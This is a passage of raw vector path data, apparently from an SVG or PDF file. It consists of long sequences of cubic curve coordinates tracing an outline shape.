64724.00C177108.33 64692.00 177129.67 64660.00 177151.00 64628.00C177172.67 64628.00 177194.33 64628.00 177216.00 64628.00C177226.67 64638.67 177237.33 64649.33 177248.00 64660.00C177248.00 64681.33 177248.00 64702.67 177248.00 64724.00C177258.67 64724.00 177269.33 64724.00 177280.00 64724.00C177280.00 64745.33 177280.00 64766.67 177280.00 64788.00C177301.33 64809.67 177322.67 64831.33 177344.00 64853.00C177344.00 64842.33 177344.00 64831.67 177344.00 64821.00C177365.33 64810.00 177386.67 64799.00 177408.00 64788.00C177408.00 64766.67 177408.00 64745.33 177408.00 64724.00C177397.33 64713.33 177386.67 64702.67 177376.00 64692.00C177354.67 64681.33 177333.33 64670.67 177312.00 64660.00C177322.67 64649.33 177333.33 64638.67 177344.00 64628.00C177344.00 64617.00 177344.00 64606.00 177344.00 64595.00C177354.67 64584.33 177365.33 64573.67 177376.00 64563.00C177386.67 64541.67 177397.33 64520.33 177408.00 64499.00C177419.00 64499.00 177430.00 64499.00 177441.00 64499.00C177451.67 64467.00 177462.33 64435.00 177473.00 64403.00C177483.67 64403.00 177494.33 64403.00 177505.00 64403.00C177526.33 64392.00 177547.67 64381.00 177569.00 64370.00C177569.00 64338.00 177569.00 64306.00 177569.00 64274.00C177612.00 64263.33 177655.00 64252.67 177698.00 64242.00C177698.00 64220.33 177698.00 64198.67 177698.00 64177.00C177730.00 64155.67 177762.00 64134.33 177794.00 64113.00C177804.67 64134.33 177815.33 64155.67 177826.00 64177.00C177837.00 64166.33 177848.00 64155.67 177859.00 64145.00C177880.33 64155.67 177901.67 64166.33 177923.00 64177.00C177944.33 64166.33 177965.67 64155.67 177987.00 64145.00C177997.67 64134.33 178008.33 64123.67 178019.00 64113.00C178019.00 64091.67 178019.00 64070.33 178019.00 64049.00C178051.33 64038.33 178083.67 64027.67 178116.00 64017.00C178148.00 63995.33 178180.00 63973.67 178212.00 63952.00C178264.07 63934.82 178316.16 63917.69 178368.15 63900.28C178380.44 63896.19 178392.72 63892.09 178405.00 63888.00C178405.00 63845.00 178405.00 63802.00 178405.00 63759.00C178420.69 63743.37 178436.20 63727.57 178452.20 63712.26C178458.14 63706.50 178464.07 63700.75 178470.00 63695.00C178470.00 63684.33 178470.00 63673.67 178470.00 63663.00C178480.67 63652.33 178491.33 63641.67 178502.00 63631.00C178512.67 63631.00 178523.33 63631.00 178534.00 63631.00C178544.67 63598.67 178555.33 63566.33 178566.00 63534.00C178576.67 63523.33 178587.33 63512.67 178598.00 63502.00C178598.00 63480.67 178598.00 63459.33 178598.00 63438.00C178587.33 63416.67 178576.67 63395.33 178566.00 63374.00C178576.67 63363.33 178587.33 63352.67 178598.00 63342.00C178630.33 63331.00 178662.67 63320.00 178695.00 63309.00C178737.67 63320.00 178780.33 63331.00 178823.00 63342.00C178833.67 63331.00 178844.33 63320.00 178855.00 63309.00C178866.00 63309.00 178877.00 63309.00 178888.00 63309.00C178909.33 63320.00 178930.67 63331.00 178952.00 63342.00C178962.67 63331.00 178973.33 63320.00 178984.00 63309.00C179016.00 63309.00 179048.00 63309.00 179080.00 63309.00C179144.33 63277.00 179208.67 63245.00 179273.00 63213.00C179262.33 63191.67 179251.67 63170.33 179241.00 63149.00C179251.72 63127.27 179262.37 63105.50 179273.13 63083.81C179294.75 63051.87 179316.38 63019.93 179338.00 62988.00C179413.00 62988.00 179488.00 62988.00 179563.00 62988.00C179573.67 62966.33 179584.33 62944.67 179595.00 62923.00C179670.00 62923.00 179745.00 62923.00 179820.00 62923.00C179852.08 62944.69 179884.11 62966.46 179916.21 62988.10C179937.87 62998.79 179959.56 63009.40 179981.20 63020.13C180013.13 63041.42 180045.07 63062.71 180077.00 63084.00C180093.50 63117.48 180109.89 63151.02 180126.68 63184.36C180131.45 63193.90 180136.23 63203.45 180141.00 63213.00C180173.33 63213.00 180205.67 63213.00 180238.00 63213.00C180248.67 63234.33 180259.33 63255.67 180270.00 63277.00C180280.67 63266.33 180291.33 63255.67 180302.00 63245.00C180312.67 63255.67 180323.33 63266.33 180334.00 63277.00C180355.67 63287.67 180377.33 63298.33 180399.00 63309.00C180431.00 63309.00 180463.00 63309.00 180495.00 63309.00C180516.67 63320.00 180538.33 63331.00 180560.00 63342.00C180560.00 63352.67 180560.00 63363.33 180560.00 63374.00C180570.67 63395.33 180581.33 63416.67 180592.00 63438.00C180613.33 63438.00 180634.67 63438.00 180656.00 63438.00C180656.00 63427.33 180656.00 63416.67 180656.00 63406.00C180666.67 63406.00 180677.33 63406.00 180688.00 63406.00C180720.33 63427.33 180752.67 63448.67 180785.00 63470.00C180806.33 63491.33 180827.67 63512.67 180849.00 63534.00C180827.67 63566.33 180806.33 63598.67 180785.00 63631.00C180806.33 63631.00 180827.67 63631.00 180849.00 63631.00C180849.00 63641.67 180849.00 63652.33 180849.00 63663.00C180838.33 63673.67 180827.67 63684.33 180817.00 63695.00C180827.67 63716.33 180838.33 63737.67 180849.00 63759.00C180859.67 63770.00 180870.33 63781.00 180881.00 63792.00C180902.33 63802.67 180923.67 63813.33 180945.00 63824.00C180945.00 63845.33 180945.00 63866.67 180945.00 63888.00C180955.67 63888.00 180966.33 63888.00 180977.00 63888.00C180977.00 63898.67 180977.00 63909.33 180977.00 63920.00C180955.67 63941.67 180934.33 63963.33 180913.00 63985.00C180902.33 63974.00 180891.67 63963.00 180881.00 63952.00C180849.00 63963.00 180817.00 63974.00 180785.00 63985.00C180785.00 63995.67 180785.00 64006.33 180785.00 64017.00C180742.00 64027.67 180699.00 64038.33 180656.00 64049.00C180634.67 64070.33 180613.33 64091.67 180592.00 64113.00C180559.67 64113.00 180527.33 64113.00 180495.00 64113.00C180473.67 64134.33 180452.33 64155.67 180431.00 64177.00C180398.67 64177.00 180366.33 64177.00 180334.00 64177.00C180312.67 64209.33 180291.33 64241.67 180270.00 64274.00C180238.00 64295.33 180206.00 64316.67 180174.00 64338.00C180152.33 64359.67 180130.67 64381.33 180109.00 64403.00C180087.67 64467.00 180066.33 64531.00 180045.00 64595.00C180023.67 64606.00 180002.33 64617.00 179981.00 64628.00C179981.00 64670.67 179981.00 64713.33 179981.00 64756.00C180004.68 64779.98 180028.22 64804.09 180051.99 64827.99C180060.33 64836.32 180068.66 64844.66 180077.00 64853.00C180077.00 64863.67 180077.00 64874.33 180077.00 64885.00C180087.67 64906.33 180098.33 64927.67 180109.00 64949.00C180141.33 64981.33 180173.67 65013.67 180206.00 65046.00C180206.00 65078.00 180206.00 65110.00 180206.00 65142.00C180227.33 65163.33 180248.67 65184.67 180270.00 65206.00C180238.00 65249.00 180206.00 65292.00 180174.00 65335.00C180174.00 65345.67 180174.00 65356.33 180174.00 65367.00C180184.67 65367.00 180195.33 65367.00 180206.00 65367.00C180195.33 65388.33 180184.67 65409.67 180174.00 65431.00C180163.00 65431.00 180152.00 65431.00 180141.00 65431.00C180130.33 65442.00 180119.67 65453.00 180109.00 65464.00C180109.00 65474.67 180109.00 65485.33 180109.00 65496.00C180093.37 65480.32 180077.57 65464.80 180062.26 65448.80C180056.51 65442.86 180050.75 65436.93 180045.00 65431.00C180034.33 65431.00 180023.67 65431.00 180013.00 65431.00C180002.26 65442.03 179991.60 65453.17 179980.80 65464.13C179948.54 65485.42 179916.27 65506.71 179884.00 65528.00C179873.33 65517.33 179862.67 65506.67 179852.00 65496.00C179841.33 65506.67 179830.67 65517.33 179820.00 65528.00C179798.67 65538.67 179777.33 65549.33 179756.00 65560.00C179766.67 65570.67 179777.33 65581.33 179788.00 65592.00C179809.33 65592.00 179830.67 65592.00 179852.00 65592.00C179852.00 65624.33 179852.00 65656.67 179852.00 65689.00C179820.00 65699.67 179788.00 65710.33 179756.00 65721.00C179745.33 65731.67 179734.67 65742.33 179724.00 65753.00C179734.67 65763.67 179745.33 65774.33 179756.00 65785.00C179756.00 65806.33 179756.00 65827.67 179756.00 65849.00C179691.67 65892.00 179627.33 65935.00 179563.00 65978.00C179530.67 65978.00 179498.33 65978.00 179466.00 65978.00C179466.00 65988.67 179466.00 65999.33 179466.00 66010.00C179444.67 66010.00 179423.33 66010.00 179402.00 66010.00C179402.00 66020.67 179402.00 66031.33 179402.00 66042.00C179423.33 66042.00 179444.67 66042.00 179466.00 66042.00C179455.33 66053.00 179444.67 66064.00 179434.00 66075.00C179444.67 66085.67 179455.33 66096.33 179466.00 66107.00C179466.00 66117.67 179466.00 66128.33 179466.00 66139.00C179455.33 66139.00 179444.67 66139.00 179434.00 66139.00C179423.33 66149.67 179412.67 66160.33 179402.00 66171.00C179370.00 66181.67 179338.00 66192.33 179306.00 66203.00C179295.00 66203.00 179284.00 66203.00 179273.00 66203.00C179272.95 66213.74 179273.10 66224.51 179272.93 66235.22C179262.28 66267.48 179251.64 66299.74 179241.00 66332.00C179262.67 66332.00 179284.33 66332.00 179306.00 66332.00C179306.00 66342.67 179306.00 66353.33 179306.00 66364.00C179338.00 66342.67 179370.00 66321.33 179402.00 66300.00C179445.00 66300.00 179488.00 66300.00 179531.00 66300.00C179552.33 66310.67 179573.67 66321.33 179595.00 66332.00C179616.33 66321.33 179637.67 66310.67 179659.00 66300.00C179691.33 66300.00 179723.67 66300.00 179756.00 66300.00C179766.67 66310.67 179777.33 66321.33 179788.00 66332.00C179798.67 66321.33 179809.33 66310.67 179820.00 66300.00C179820.00 66310.67 179820.00 66321.33 179820.00 66332.00C179841.33 66332.00 179862.67 66332.00 179884.00 66332.00C179884.00 66310.33 179884.00 66288.67 179884.00 66267.00C179905.67 66256.33 179927.33 66245.67 179949.00 66235.00C179970.33 66245.67 179991.67 66256.33 180013.00 66267.00C180013.00 66299.33 180013.00 66331.67 180013.00 66364.00C180023.67 66374.67 180034.33 66385.33 180045.00 66396.00C180055.67 66396.00 180066.33 66396.00 180077.00 66396.00C180077.00 66406.67 180077.00 66417.33 180077.00 66428.00C180098.33 66428.00 180119.67 66428.00 180141.00 66428.00C180152.58 66439.30 180164.31 66450.46 180175.80 66461.86C180185.87 66472.24 180195.93 66482.62 180206.00 66493.00C180206.00 66535.67 180206.00 66578.33 180206.00 66621.00C180195.33 66653.33 180184.67 66685.67 180174.00 66718.00C180174.00 66739.33 180174.00 66760.67 180174.00 66782.00C180195.33 66814.00 180216.67 66846.00 180238.00 66878.00C180227.33 66899.67 180216.67 66921.33 180206.00 66943.00C180216.67 66975.00 180227.33 67007.00 180238.00 67039.00C180238.00 67049.67 180238.00 67060.33 180238.00 67071.00C180227.33 67071.00 180216.67 67071.00 180206.00 67071.00C180195.33 67092.67 180184.67 67114.33 180174.00 67136.00C180184.67 67157.33 180195.33 67178.67 180206.00 67200.00C180184.33 67210.67 180162.67 67221.33 180141.00 67232.00C180141.00 67242.67 180141.00 67253.33 180141.00 67264.00C180152.00 67274.67 180163.00 67285.33 180174.00 67296.00C180195.33 67307.00 180216.67 67318.00 180238.00 67329.00C180270.00 67318.00 180302.00 67307.00 180334.00 67296.00C180334.00 67360.33 180334.00 67424.67 180334.00 67489.00C180377.00 67532.00 180420.00 67575.00 180463.00 67618.00C180473.67 67650.00 180484.33 67682.00 180495.00 67714.00C180559.33 67724.67 180623.67 67735.33 180688.00 67746.00C180698.67 67746.00 180709.33 67746.00 180720.00 67746.00C180752.33 67789.00 180784.67 67832.00 180817.00 67875.00C180859.67 67896.33 180902.33 67917.67 180945.00 67939.00C180966.67 67928.33 180988.33 67917.67 181010.00 67907.00C181052.67 67907.00 181095.33 67907.00 181138.00 67907.00C181148.67 67896.33 181159.33 67885.67 181170.00 67875.00C181170.00 67853.67 181170.00 67832.33 181170.00 67811.00C181202.33 67800.33 181234.67 67789.67 181267.00 67779.00C181299.00 67746.67 181331.00 67714.33 181363.00 67682.00C181374.00 67660.67 181385.00 67639.33 181396.00 67618.00C181428.00 67618.00 181460.00 67618.00 181492.00 67618.00C181524.00 67596.67 181556.00 67575.33 181588.00 67554.00C181663.00 67521.67 181738.00 67489.33 181813.00 67457.00C181824.00 67435.67 181835.00 67414.33 181846.00 67393.00C181888.67 67393.00 181931.33 67393.00 181974.00 67393.00C181995.67 67403.67 182017.33 67414.33 182039.00 67425.00C182049.67 67414.33 182060.33 67403.67 182071.00 67393.00C182081.67 67371.67 182092.33 67350.33 182103.00 67329.00C182113.67 67318.00 182124.33 67307.00 182135.00 67296.00C182167.33 67296.00 182199.67 67296.00 182232.00 67296.00C182232.00 67285.33 182232.00 67274.67 182232.00 67264.00C182242.67 67264.00 182253.33 67264.00 182264.00 67264.00C182253.33 67253.33 182242.67 67242.67 182232.00 67232.00C182232.00 67221.33 182232.00 67210.67 182232.00 67200.00C182253.33 67210.67 182274.67 67221.33 182296.00 67232.00C182328.00 67232.00 182360.00 67232.00 182392.00 67232.00C182381.33 67200.00 182370.67 67168.00 182360.00 67136.00C182370.67 67125.00 182381.33 67114.00 182392.00 67103.00C182424.49 67092.31 182456.95 67081.52 182489.46 67070.89C182531.97 67060.26 182574.49 67049.63 182617.00 67039.00C182638.67 67028.33 182660.33 67017.67 182682.00 67007.00C182682.00 66985.67 182682.00 66964.33 182682.00 66943.00C182671.00 66932.00 182660.00 66921.00 182649.00 66910.00C182627.67 66910.00 182606.33 66910.00 182585.00 66910.00C182585.00 66888.67 182585.00 66867.33 182585.00 66846.00C182574.33 66846.00 182563.67 66846.00 182553.00 66846.00C182553.00 66835.33 182553.00 66824.67 182553.00 66814.00C182563.74 66803.30 182574.40 66792.51 182585.20 66781.87C182617.46 66760.58 182649.73 66739.29 182682.00 66718.00C182682.00 66610.67 182682.00 66503.33 182682.00 66396.00C182692.67 66385.33 182703.33 66374.67 182714.00 66364.00C182714.00 66342.67 182714.00 66321.33 182714.00 66300.00C182724.67 66267.67 182735.33 66235.33 182746.00 66203.00C182789.00 66213.67 182832.00 66224.33 182875.00 66235.00C182885.67 66245.67 182896.33 66256.33 182907.00 66267.00C182917.67 66256.33 182928.33 66245.67 182939.00 66235.00C182928.33 66224.33 182917.67 66213.67 182907.00 66203.00C182917.67 66181.67 182928.33 66160.33 182939.00 66139.00C182928.33 66106.67 182917.67 66074.33 182907.00 66042.00C182928.33 66020.67 182949.67 65999.33 182971.00 65978.00C182992.33 65967.33 183013.67 65956.67 183035.00 65946.00C183066.29 65961.45 183097.68 65976.70 183128.80 65992.48C183183.53 66019.98 183238.27 66047.49 183293.00 66075.00C183314.33 66064.00 183335.67 66053.00 183357.00 66042.00C183367.67 66053.00 183378.33 66064.00 183389.00 66075.00C183410.33 66064.00 183431.67 66053.00 183453.00 66042.00C183485.33 66042.00 183517.67 66042.00 183550.00 66042.00C183550.00 66031.33 183550.00 66020.67 183550.00 66010.00C183560.67 65988.67 183571.33 65967.33 183582.00 65946.00C183592.67 65946.00 183603.33 65946.00 183614.00 65946.00C183614.00 65924.67 183614.00 65903.33 183614.00 65882.00C183603.33 65871.00 183592.67 65860.00 183582.00 65849.00C183592.67 65838.33 183603.33 65827.67 183614.00 65817.00C183614.00 65742.00 183614.00 65667.00 183614.00 65592.00C183624.67 65581.33 183635.33 65570.67 183646.00 65560.00C183667.67 65560.00 183689.33 65560.00 183711.00 65560.00C183732.33 65549.33 183753.67 65538.67 183775.00 65528.00C183807.00 65528.00 183839.00 65528.00 183871.00 65528.00C183892.67 65517.33 183914.33 65506.67 183936.00 65496.00C183946.67 65506.67 183957.33 65517.33 183968.00 65528.00C184064.33 65528.00 184160.67 65528.00 184257.00 65528.00C184267.74 65538.70 184278.40 65549.49 184289.20 65560.13C184321.46 65581.42 184353.73 65602.71 184386.00 65624.00C184418.00 65624.00 184450.00 65624.00 184482.00 65624.00C184492.67 65602.67 184503.33 65581.33 184514.00 65560.00C184514.00 65549.33 184514.00 65538.67 184514.00 65528.00C184492.67 65517.33 184471.33 65506.67 184450.00 65496.00C184450.00 65485.33 184450.00 65474.67 184450.00 65464.00C184460.80 65452.92 184471.50 65441.71 184482.37 65430.71C184535.91 65388.14 184589.46 65345.57 184643.00 65303.00C184653.67 65313.67 184664.33 65324.33 184675.00 65335.00C184685.67 65367.00 184696.33 65399.00 184707.00 65431.00C184739.33 65420.33 184771.67 65409.67 184804.00 65399.00C184900.33 65399.00 184996.67 65399.00 185093.00 65399.00C185114.33 65388.33 185135.67 65377.67 185157.00 65367.00C185210.67 65377.67 185264.33 65388.33 185318.00 65399.00C185350.33 65431.33 185382.67 65463.67 185415.00 65496.00C185425.67 65485.33 185436.33 65474.67 185447.00 65464.00C185457.67 65464.00 185468.33 65464.00 185479.00 65464.00C185500.33 65485.33 185521.67 65506.67 185543.00 65528.00C185575.33 65528.00 185607.67 65528.00 185640.00 65528.00C185650.67 65538.67 185661.33 65549.33 185672.00 65560.00C185682.67 65538.67 185693.33 65517.33 185704.00 65496.00C185714.67 65496.00 185725.33 65496.00 185736.00 65496.00C185757.67 65474.33 185779.33 65452.67 185801.00 65431.00C185843.67 65431.00 185886.33 65431.00 185929.00 65431.00C185939.67 65420.33 185950.33 65409.67 185961.00 65399.00C186014.67 65409.67 186068.33 65420.33 186122.00 65431.00C186154.00 65409.67 186186.00 65388.33 186218.00 65367.00C186218.00 65335.00 186218.00 65303.00 186218.00 65271.00C186229.00 65260.33 186240.00 65249.67 186251.00 65239.00C186272.33 65239.00 186293.67 65239.00 186315.00 65239.00C186347.00 65228.00 186379.00 65217.00 186411.00 65206.00C186432.67 65217.00 186454.33 65228.00 186476.00 65239.00C186497.33 65239.00 186518.67 65239.00 186540.00 65239.00C186572.00 65217.33 186604.00 65195.67 186636.00 65174.00C186657.67 65174.00 186679.33 65174.00 186701.00 65174.00C186733.00 65152.67 186765.00 65131.33 186797.00 65110.00C186807.67 65110.00 186818.33 65110.00 186829.00 65110.00C186840.00 65099.33 186851.00 65088.67 186862.00 65078.00C186862.00 65067.33 186862.00 65056.67 186862.00 65046.00C186872.67 65046.00 186883.33 65046.00 186894.00 65046.00C186926.00 65035.00 186958.00 65024.00 186990.00 65013.00C187000.67 65013.00 187011.33 65013.00 187022.00 65013.00C187022.00 65002.33 187022.00 64991.67 187022.00 64981.00C187043.67 64970.33 187065.33 64959.67 187087.00 64949.00C187097.67 64959.67 187108.33 64970.33 187119.00 64981.00C187183.33 64981.00 187247.67 64981.00 187312.00 64981.00C187365.33 64927.67 187418.67 64874.33 187472.00 64821.00C187472.00 64810.00 187472.00 64799.00 187472.00 64788.00C187483.00 64777.33 187494.00 64766.67 187505.00 64756.00C187558.33 64756.00 187611.67 64756.00 187665.00 64756.00C187686.67 64766.67 187708.33 64777.33 187730.00 64788.00C187772.67 64777.33 187815.33 64766.67 187858.00 64756.00C187868.67 64745.33 187879.33 64734.67 187890.00 64724.00C187911.67 64724.00 187933.33 64724.00 187955.00 64724.00C187922.67 64681.00 187890.33 64638.00 187858.00 64595.00C187868.67 64573.67 187879.33 64552.33 187890.00 64531.00C187901.00 64531.00 187912.00 64531.00 187923.00 64531.00C187923.00 64520.33 187923.00 64509.67 187923.00 64499.00C187933.67 64477.67 187944.33 64456.33 187955.00 64435.00C187933.33 64445.67 187911.67 64456.33 187890.00 64467.00C187879.33 64456.33 187868.67 64445.67 187858.00 64435.00C187858.00 64424.33 187858.00 64413.67 187858.00 64403.00C187868.67 64392.00 187879.33 64381.00 187890.00 64370.00C187901.00 64338.00 187912.00 64306.00 187923.00 64274.00C187923.00 64241.67 187923.00 64209.33 187923.00 64177.00C187955.00 64145.00 187987.00 64113.00 188019.00 64081.00C188008.33 64059.67 187997.67 64038.33 187987.00 64017.00C187987.03 63995.26 187986.94 63973.50 187987.05 63951.77C187997.70 63898.51 188008.35 63845.26 188019.00 63792.00C188051.33 63781.00 188083.67 63770.00 188116.00 63759.00C188158.67 63770.00 188201.33 63781.00 188244.00 63792.00C188265.33 63792.00 188286.67 63792.00 188308.00 63792.00C188319.00 63813.33 188330.00 63834.67 188341.00 63856.00C188362.33 63866.67 188383.67 63877.33 188405.00 63888.00C188415.67 63888.00 188426.33 63888.00 188437.00 63888.00C188447.67 63866.67 188458.33 63845.33 188469.00 63824.00C188512.00 63802.33 188555.00 63780.67 188598.00 63759.00C188608.67 63748.33 188619.33 63737.67 188630.00 63727.00C188662.00 63727.00 188694.00 63727.00 188726.00 63727.00C188726.00 63695.00 188726.00 63663.00 188726.00 63631.00C188758.33 63631.00 188790.67 63631.00 188823.00 63631.00C188823.00 63620.33 188823.00 63609.67 188823.00 63599.00C188812.33 63588.33 188801.67 63577.67 188791.00 63567.00C188844.67 63567.00 188898.33 63567.00 188952.00 63567.00C188984.00 63534.67 189016.00 63502.33 189048.00 63470.00C189112.33 63448.67 189176.67 63427.33 189241.00 63406.00C189262.33 63416.67 189283.67 63427.33 189305.00 63438.00C189348.00 63448.67 189391.00 63459.33 189434.00 63470.00C189455.33 63480.67 189476.67 63491.33 189498.00 63502.00C189508.67 63502.00 189519.33 63502.00 189530.00 63502.00C189551.67 63491.33 189573.33 63480.67 189595.00 63470.00C189616.33 63480.67 189637.67 63491.33 189659.00 63502.00C189669.74 63502.05 189680.51 63501.90 189691.22 63502.07C189723.48 63512.72 189755.74 63523.36 189788.00 63534.00C189798.67 63534.00 189809.33 63534.00 189820.00 63534.00C189852.00 63545.00 189884.00 63556.00 189916.00 63567.00C189937.33 63556.00 189958.67 63545.00 189980.00 63534.00C189991.00 63523.33 190002.00 63512.67 190013.00 63502.00C190023.67 63502.00 190034.33 63502.00 190045.00 63502.00C190055.74 63512.70 190066.41 63523.49 190077.19 63534.13C190109.13 63555.75 190141.06 63577.38 190173.00 63599.00C190194.74 63620.37 190216.42 63641.81 190238.19 63663.14C190280.93 63695.18 190323.63 63727.26 190366.39 63759.26C190398.59 63780.84 190430.80 63802.42 190463.00 63824.00C190463.00 63845.33 190463.00 63866.67 190463.00 63888.00C190452.33 63909.33 190441.67 63930.67 190431.00 63952.00C190441.67 63973.67 190452.33 63995.33 190463.00 64017.00C190463.00 64027.67 190463.00 64038.33 190463.00 64049.00C190484.33 64070.33 190505.67 64091.67 190527.00 64113.00C190548.33 64145.33 190569.67 64177.67 190591.00 64210.00C190602.00 64210.00 190613.00 64210.00 190624.00 64210.00C190656.00 64188.33 190688.00 64166.67 190720.00 64145.00C190735.63 64160.68 190751.43 64176.20 190766.74 64192.20C190772.49 64198.14 190778.25 64204.07 190784.00 64210.00C190805.67 64210.00 190827.33 64210.00 190849.00 64210.00C190849.00 64220.67 190849.00 64231.33 190849.00 64242.00C190859.67 64242.00 190870.33 64242.00 190881.00 64242.00C190891.67 64220.33 190902.33 64198.67 190913.00 64177.00C190945.00 64198.67 190977.00 64220.33 191009.00 64242.00C191030.67 64231.33 191052.33 64220.67 191074.00 64210.00C191095.33 64220.67 191116.67 64231.33 191138.00 64242.00C191148.67 64242.00 191159.33 64242.00 191170.00 64242.00C191180.67 64252.67 191191.33 64263.33 191202.00 64274.00C191180.67 64274.00 191159.33 64274.00 191138.00 64274.00C191154.52 64307.05 191171.13 64340.06 191187.36 64373.25C191192.31 64383.21 191197.10 64393.29 191202.17 64403.17C191212.78 64413.78 191223.39 64424.39 191234.00 64435.00C191234.00 64456.33 191234.00 64477.67 191234.00 64499.00C191255.67 64520.33 191277.33 64541.67 191299.00 64563.00C191299.00 64584.67 191299.00 64606.33 191299.00 64628.00C191277.33 64660.00 191255.67 64692.00 191234.00 64724.00C191212.67 64788.33 191191.33 64852.67 191170.00 64917.00C191159.33 64917.00 191148.67 64917.00 191138.00 64917.00C191127.33 64927.67 191116.67 64938.33 191106.00 64949.00C191116.67 64959.67 191127.33 64970.33 191138.00 64981.00C191159.33 64981.00 191180.67 64981.00 191202.00 64981.00C191191.33 65002.67 191180.67 65024.33 191170.00 65046.00C191180.68 65067.41 191191.44 65088.79 191202.07 65110.22C191212.72 65142.15 191223.36 65174.07 191234.00 65206.00C191212.67 65281.00 191191.33 65356.00 191170.00 65431.00C191170.00 65463.33 191170.00 65495.67 191170.00 65528.00C191148.67 65528.00 191127.33 65528.00 191106.00 65528.00C191106.00 65538.67 191106.00 65549.33 191106.00 65560.00C191116.67 65581.33 191127.33 65602.67 191138.00 65624.00C191138.00 65645.67 191138.00 65667.33 191138.00 65689.00C191148.67 65689.00 191159.33 65689.00 191170.00 65689.00C191170.00 65742.33 191170.00 65795.67 191170.00 65849.00C191191.33 65870.67 191212.67 65892.33 191234.00 65914.00C191233.98 65956.74 191234.04 65999.49 191233.97 66042.23C191223.28 66117.23 191212.66 66192.24 191201.94 66267.23C191191.30 66310.15 191180.65 66353.08 191170.00 66396.00C191170.00 66428.33 191170.00 66460.67 191170.00 66493.00C191127.00 66535.67 191084.00 66578.33 191041.00 66621.00C191041.00 66642.33 191041.00 66663.67 191041.00 66685.00C191008.95 66760.15 190976.85 66835.28 190944.84 66910.44C190901.83 67028.52 190858.76 67146.58 190815.78 67264.67C190805.19 67296.78 190794.59 67328.89 190784.00 67361.00C190784.00 67393.00 190784.00 67425.00 190784.00 67457.00C190773.33 67489.33 190762.67 67521.67 190752.00 67554.00C190762.67 67554.00 190773.33 67554.00 190784.00 67554.00C190752.00 67607.33 190720.00 67660.67 190688.00 67714.00C190677.29 67746.40 190666.66 67778.83 190655.89 67811.21C190645.26 67832.47 190634.63 67853.74 190624.00 67875.00C190624.00 67885.67 190624.00 67896.33 190624.00 67907.00C190645.33 67917.67 190666.67 67928.33 190688.00 67939.00C190666.67 67992.67 190645.33 68046.33 190624.00 68100.00C190624.00 68110.67 190624.00 68121.33 190624.00 68132.00C190634.67 68132.00 190645.33 68132.00 190656.00 68132.00C190666.67 68143.00 190677.33 68154.00 190688.00 68165.00C190677.33 68175.67 190666.67 68186.33 190656.00 68197.00C190634.33 68197.00 190612.67 68197.00 190591.00 68197.00C190580.33 68207.67 190569.67 68218.33 190559.00 68229.00C190580.67 68250.33 190602.33 68271.67 190624.00 68293.00C190581.00 68389.33 190538.00 68485.67 190495.00 68582.00C190484.33 68625.00 190473.67 68668.00 190463.00 68711.00C190446.43 68744.11 190429.96 68777.28 190413.11 68810.25C190408.07 68820.16 190403.04 68830.08 190398.00 68840.00C190398.00 68872.00 190398.00 68904.00 190398.00 68936.00C190387.33 68946.67 190376.67 68957.33 190366.00 68968.00C190366.00 68989.67 190366.00 69011.33 190366.00 69033.00C190376.67 69054.33 190387.33 69075.67 190398.00 69097.00C190387.33 69107.67 190376.67 69118.33 190366.00 69129.00C190366.00 69161.33 190366.00 69193.67 190366.00 69226.00C190355.33 69226.00 190344.67 69226.00 190334.00 69226.00C190323.33 69215.00 190312.67 69204.00 190302.00 69193.00C190286.39 69209.04 190270.96 69225.25 190255.03 69240.97C190249.33 69246.73 190243.49 69252.38 190237.89 69258.21C190226.93 69279.47 190215.96 69300.74 190205.00 69322.00C190194.33 69332.67 190183.67 69343.33 190173.00 69354.00C190173.00 69386.33 190173.00 69418.67 190173.00 69451.00C190141.00 69504.33 190109.00 69557.67 190077.00 69611.00C190066.33 69621.67 190055.67 69632.33 190045.00 69643.00C190055.67 69675.33 190066.33 69707.67 190077.00 69740.00C190055.67 69750.67 190034.33 69761.33 190013.00 69772.00C190002.00 69793.33 189991.00 69814.67 189980.00 69836.00C189991.00 69857.67 190002.00 69879.33 190013.00 69901.00C190013.00 69911.67 190013.00 69922.33 190013.00 69933.00C190002.00 69943.67 189991.00 69954.33 189980.00 69965.00C189969.33 69986.33 189958.67 70007.67 189948.00 70029.00C189958.67 70050.67 189969.33 70072.33 189980.00 70094.00C189948.00 70136.67 189916.00 70179.33 189884.00 70222.00C189884.00 70243.67 189884.00 70265.33 189884.00 70287.00C189894.67 70287.00 189905.33 70287.00 189916.00 70287.00C189905.33 70308.33 189894.67 70329.67 189884.00 70351.00C189873.33 70351.00 189862.67 70351.00 189852.00 70351.00C189819.67 70393.67 189787.33 70436.33 189755.00 70479.00C189755.00 70511.33 189755.00 70543.67 189755.00 70576.00C189766.00 70608.00 189777.00 70640.00 189788.00 70672.00C189788.00 70683.00 189788.00 70694.00 189788.00 70705.00C189766.33 70715.67 189744.67 70726.33 189723.00 70737.00C189701.67 70801.33 189680.33 70865.67 189659.00 70930.00C189659.00 70908.33 189659.00 70886.67 189659.00 70865.00C189626.67 70843.67 189594.33 70822.33 189562.00 70801.00C189487.00 70801.00 189412.00 70801.00 189337.00 70801.00C189315.67 70790.33 189294.33 70779.67 189273.00 70769.00C189251.67 70779.67 189230.33 70790.33 189209.00 70801.00C189166.00 70779.67 189123.00 70758.33 189080.00 70737.00C189048.00 70737.00 189016.00 70737.00 188984.00 70737.00C188897.78 70715.26 188811.54 70693.58 188725.32 70671.81C188650.55 70650.54 188575.77 70629.27 188501.00 70608.00C188490.33 70586.67 188479.67 70565.33 188469.00 70544.00C188426.33 70544.00 188383.67 70544.00 188341.00 70544.00C188341.00 70554.67 188341.00 70565.33 188341.00 70576.00C188308.67 70576.00 188276.33 70576.00 188244.00 70576.00C188233.33 70565.33 188222.67 70554.67 188212.00 70544.00C188212.00 70533.33 188212.00 70522.67 188212.00 70512.00C188201.33 70512.00 188190.67 70512.00 188180.00 70512.00C188190.67 70490.33 188201.33 70468.67 188212.00 70447.00C188180.00 70447.00 188148.00 70447.00 188116.00 70447.00C188116.00 70457.67 188116.00 70468.33 188116.00 70479.00C188094.33 70479.00 188072.67 70479.00 188051.00 70479.00C188051.00 70490.00 188051.00 70501.00 188051.00 70512.00C188040.33 70501.00 188029.67 70490.00 188019.00 70479.00C188019.00 70468.33 188019.00 70457.67 188019.00 70447.00C188008.33 70457.67 187997.67 70468.33 187987.00 70479.00C187987.00 70468.33 187987.00 70457.67 187987.00 70447.00C187965.67 70447.00 187944.33 70447.00 187923.00 70447.00C187901.33 70468.67 187879.67 70490.33 187858.00 70512.00C187858.00 70490.33 187858.00 70468.67 187858.00 70447.00C187842.37 70462.68 187826.57 70478.20 187811.26 70494.20C187805.51 70500.13 187799.75 70506.07 187794.00 